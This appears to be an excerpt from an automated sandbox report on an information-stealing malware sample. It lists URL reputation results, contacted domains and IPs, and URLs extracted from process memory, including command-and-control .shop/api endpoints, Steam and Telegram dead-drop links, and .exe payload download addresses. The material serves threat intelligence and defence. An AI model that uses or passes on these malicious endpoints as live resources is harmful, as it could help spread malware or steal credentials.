https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
reinforcenh.shop	100%	Avira URL Cloud	malware
https://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
http://cowod.hopto.org	0%	Avira URL Cloud	safe
https://fragnantbui.shop/apie	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G	0%	Avira URL Cloud	safe
stogeneratmns.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/nss3.dlla	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	100%	Avira URL Cloud	malware
https://5.75.211.162/mozglue.dll	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199780418869/badges	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Avira URL Cloud	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	Avira URL Cloud	safe
https://performenj.shop:443/apirofiles/76561199724331900	100%	Avira URL Cloud	malware
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
https://5.75.211.162/freebl3.dll	0%	Avira URL Cloud	safe
https://reinforcenh.shop/api	100%	Avira URL Cloud	malware
ghostreedmnu.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/vcruntime140.dll	0%	Avira URL Cloud	safe
http://cowod.hopto.	0%	Avira URL Cloud	safe
https://5.75.211.162h;	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
https://performenj.shop/api2	100%	Avira URL Cloud	malware
https://5.75.211.162	0%	Avira URL Cloud	safe
http://api.ipify.org/	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181	100%	Avira URL Cloud	malware
http://cowod.hopto	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF	0%	Avira URL Cloud	safe
http://cowod.hoptoHIDAKEC	0%	Avira URL Cloud	safe
https://store.steampowered.com/privac	0%	Avira URL Cloud	safe
https://yalubluseks.eu/receive.php	0%	Avira URL Cloud	safe
https://performenj.shop/apipi	100%	Avira URL Cloud	malware
https://t.me/ae5ed	100%	Avira URL Cloud	malware
https://5.75.211.162/vcruntime140.dllw7_	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://performenj.shop/	100%	Avira URL Cloud	malware
https://reinforcenh.shop/api.	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	Avira URL Cloud	safe
http://cowod.EBKKFHIDAKEC	0%	Avira URL Cloud	safe
https://vozmeatillu.shop/api	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e	0%	Avira URL Cloud	safe
https://store.steampowered.com/points/shop/	0%	Avira URL Cloud	safe
fragnantbui.shop	100%	Avira URL Cloud	malware
https://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	Avira URL Cloud	safe
offensivedzvju.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/softokn3.dlly9	0%	Avira URL Cloud	safe
https://offensivedzvju.shop/api	100%	Avira URL Cloud	malware
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
drawzhotdog.shop	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	Avira URL Cloud	safe
https://performenj.shop/piz	100%	Avira URL Cloud	malware
vozmeatillu.shop	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	Avira URL Cloud	safe
https://drawzhotdog.shop/api	100%	Avira URL Cloud	malware
https://help.steampowered.com/en/	0%	Avira URL Cloud	safe
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe
https://store.steampowered.com/news/	0%	Avira URL Cloud	safe
https://gutterydhowi.shop/api	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://steamcommunity.com/market/	0%	Avira URL Cloud	safe
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.97.3	true	true	unknown
performenj.shop	172.67.189.2	true	true	unknown
gutterydhowi.shop	172.67.132.32	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
offensivedzvju.shop	188.114.96.3	true	true	unknown
drawzhotdog.shop	172.67.162.108	true	true	unknown
ghostreedmnu.shop	188.114.96.3	true	true	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	172.67.208.139	true	true	unknown
api.ipify.org	172.67.74.152	true	false	unknown
vozmeatillu.shop	188.114.97.3	true	true	unknown
yalubluseks.eu	188.114.96.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
stogeneratmns.shop	true	Avira URL Cloud: malware	unknown
reinforcenh.shop	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/mozglue.dll	true	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	false	Avira URL Cloud: malware	unknown
https://5.75.211.162/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://reinforcenh.shop/api	true	Avira URL Cloud: malware	unknown
ghostreedmnu.shop	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/	false	Avira URL Cloud: safe	unknown
https://yalubluseks.eu/receive.php	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://vozmeatillu.shop/api	true	Avira URL Cloud: malware	unknown
fragnantbui.shop	true	Avira URL Cloud: malware	unknown
https://offensivedzvju.shop/api	true	Avira URL Cloud: malware	unknown
offensivedzvju.shop	true	Avira URL Cloud: malware	unknown
drawzhotdog.shop	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	false	Avira URL Cloud: malware	unknown
vozmeatillu.shop	true	Avira URL Cloud: malware	unknown
https://drawzhotdog.shop/api	true	Avira URL Cloud: malware	unknown
https://gutterydhowi.shop/api	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	GCGHCB.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	GCGHCB.3.dr	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/nss3.dlla	RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://fragnantbui.shop/apie	RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869/badges	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: malware	unknown
https://performenj.shop:443/apirofiles/76561199724331900	RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162h;	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://performenj.shop/api2	RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://5.75.211.162	76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hopto	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hoptoHIDAKEC	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MFDBG.exe, 00000007.00000002.4525807658.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privac	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://performenj.shop/apipi	RegAsm.exe, 0000000F.00000002.2966040978.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/ae5ed	file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/vcruntime140.dllw7_	RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://performenj.shop/	RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://reinforcenh.shop/api.	RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://cowod.EBKKFHIDAKEC	RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GCGHCB.3.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	GCGHCB.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKKEHJ.3.dr	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/softokn3.dlly9	RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JKKEHJ.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI	RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://performenj.shop/piz	RegAsm.exe, 0000000F.00000002.2966040978.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG	RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://ocsp.entrust.net03	file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	false	URL Reputation: safe	unknown
http://ocsp.entrust.net02	file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
